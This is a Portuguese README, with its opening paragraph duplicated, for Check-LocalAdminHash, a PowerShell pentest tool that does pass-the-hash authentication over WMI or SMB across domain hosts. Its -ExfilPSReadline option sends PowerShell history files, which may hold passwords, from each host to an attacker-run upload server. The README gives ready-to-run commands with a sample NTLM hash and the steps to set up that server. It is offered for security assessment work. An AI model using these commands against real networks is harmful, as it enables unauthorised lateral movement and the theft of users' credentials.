
Check-LocalAdminHash é uma ferramenta PowerShell que tenta autenticar em múltiplos hosts via WMI ou SMB usando um hash de senha para determinar se a credencial fornecida é um administrador local. É útil se você obtiver um hash de senha para um usuário e quiser ver onde ele é administrador local em uma rede. É essencialmente um Frankenstein de duas das minhas ferramentas favoritas junto com algum código próprio. Utiliza o projeto Invoke-TheHash de Kevin Robertson (@kevin_robertson) para a parte de verificação de credenciais. Além disso, o script utiliza módulos do PowerView de Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) para enumerar computadores do domínio e encontrar alvos para testar acesso de administrador.
Check-LocalAdminHash é uma ferramenta PowerShell que tenta autenticar em vários hosts via WMI ou SMB usando um hash de senha para determinar se a credencial fornecida é um administrador local. É útil se você obtiver um hash de senha para um usuário e quiser saber onde ele é administrador local na rede. É essencialmente um Frankenstein de duas das minhas ferramentas favoritas junto com algum código meu. Utiliza o projeto Invoke-TheHash de Kevin Robertson (@kevin_robertson) para a parte de verificação de credenciais. Além disso, o script utiliza módulos do PowerView por Will Schroeder (@harmj0y) e Matt Graeber (@mattifestation) para enumerar computadores do domínio e encontrar alvos para testar acesso de administrador.
A razão pela qual este script existe é porque em uma avaliação eu queria coletar todos os arquivos de histórico do console PowerShell (PSReadline) de todos os sistemas na rede. O histórico do console PSReadline é essencialmente a versão PowerShell do histórico do bash. Pode incluir muitas coisas interessantes que as pessoas digitam em seus terminais, incluindo senhas. Então, incluído neste script está uma opção para exfiltrar todos os arquivos PSReadline também. Há uma pequena configuração para isso. Veja o final do Readme para a configuração.
For more info read the blog here: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
Este comando usará o domínio 'testdomain.local' para pesquisar todos os sistemas e então tentará autenticar em cada um usando o usuário 'testdomain.local\PossibleAdminUser' e um hash de senha via WMI.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
Este comando usará o domínio 'testdomain.local' para pesquisar todos os sistemas e então tentará autenticar em cada um usando o usuário 'testdomain.local\PossibleAdminUser' e um hash de senha via WMI. Em seguida, tenta localizar arquivos de histórico do console PowerShell (PSReadline) para cada perfil em cada sistema e os envia via POST para um servidor web. Veja a parte inferior do Readme para a configuração do servidor.
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
Este comando usará o intervalo CIDR fornecido para gerar uma lista de alvos e então tentará autenticar em cada um usando o usuário local 'PossibleAdminUser' e um hash de senha via WMI.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
Este comando usará a lista de alvos fornecida e tentará autenticar em cada host usando o usuário local 'PossibleAdminUser' e um hash de senha via SMB.
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
Este comando tenta realizar uma autenticação local para o usuário Administrator no sistema 192.168.0.16 via SMB.
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - O nome de usuário para tentar a autenticação.
PasswordHash - Hash de senha do usuário.
TargetSystem - Nome de host ou IP único para tentativa de autenticação.
TargetList - Uma lista de hosts para escanear, um por linha
AllSystems - Uma chave que, quando ativada, utiliza módulos do PowerView para enumerar todos os sistemas do domínio. Esta lista é então usada para verificar acesso de administrador local.
Domain - Este é o domínio que o PowerView utilizará para descobrir sistemas.
UserDomain - Este é o domínio do usuário para autenticar em cada sistema. Não use esta flag se estiver usando uma credencial local em vez de credencial de domínio.
Protocol - Esta é a configuração para verificar o hash usando WMI ou SMB. O padrão é 'WMI', mas defina como 'SMB' para verificá-lo.
CIDR - Especifique um intervalo de rede no formato CIDR, como 192.168.0.0/24
Threads - Padrão é 5 threads. (Já encontrei alguns problemas estranhos ao definir threads acima de 15, com alguns resultados não retornando.)
ExfilPSReadline - Para cada sistema onde a autenticação é bem-sucedida, executa um comando PowerShell para localizar arquivos de histórico do console PSReadLine (histórico de comandos do PowerShell) e os envia via POST para um servidor web. Veja o Readme para a configuração do servidor.
Este é o seu aviso de que você está prestes a configurar um servidor voltado para a Internet que aceitará uploads de arquivos. Normalmente, isso é uma coisa muito ruim de se fazer. Portanto, tome precauções ao fazer isso. Recomendo reforçar as regras de firewall para que apenas o IP que fará o upload dos arquivos PSReadline possa acessar o servidor web. Além disso, já que estamos falando de segurança, isso funcionará perfeitamente com uma conexão HTTPS, então configure seu domínio e certificado para que os arquivos PSReadline sejam enviados criptografados pela rede. Você foi avisado...
Configure um servidor onde você desejar que os arquivos sejam enviados. Este servidor deve ser acessível via HTTP/HTTPS a partir de cada sistema.
Copie o script index.php deste repositório e coloque-o em /index.php na raiz da web (/var/www/html) no seu servidor web.
Crie um diretório uploads
mkdir /var/www/html/uploads
chmod 0777 /var/www/html/uploads
apt-get install php
service apache2 restart
Agora, quando você executar Check-LocalAdminHash com a flag -ExfilPSReadline, ele tentará enviar cada PSReadline (se houver) via POST para o seu servidor web.
Check-LocalAdminHash é basicamente um Frankenstein de duas das minhas ferramentas favoritas, PowerView e Invoke-TheHash. 95% do código é dessas duas ferramentas. Portanto, o crédito vai para Kevin Robertson (@kevin_robertson) pelo Invoke-TheHash, e crédito vai para Will Schroeder (@harmj0y), Matt Graeber (@mattifestation) (e qualquer outra pessoa que trabalhou no PowerView). Sem essas duas ferramentas, este script não existiria. Também um agradecimento especial a Steve Borosh (@424f424f) pela ajuda com o threading e por ser um cara incrível em geral.
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1